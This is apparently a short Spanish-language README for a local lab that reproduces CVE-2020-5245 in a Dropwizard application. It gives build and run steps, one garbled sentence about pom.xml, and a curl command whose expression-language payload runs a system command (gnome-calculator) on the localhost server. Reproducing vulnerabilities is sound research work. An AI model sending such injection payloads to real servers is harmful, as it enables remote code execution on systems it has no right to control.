CVE-2020-5245

CVE-2020-5245

1. Ejecuta mvn clean install para compilar tu aplicación
2. Inicia la aplicación con java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml
3. Para comprobar que tu aplicación se está ejecutando, introduce la url http://localhost:8080

algún error en pom.xml los plugins no se vieron afectados reproduce

Reproducir

curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}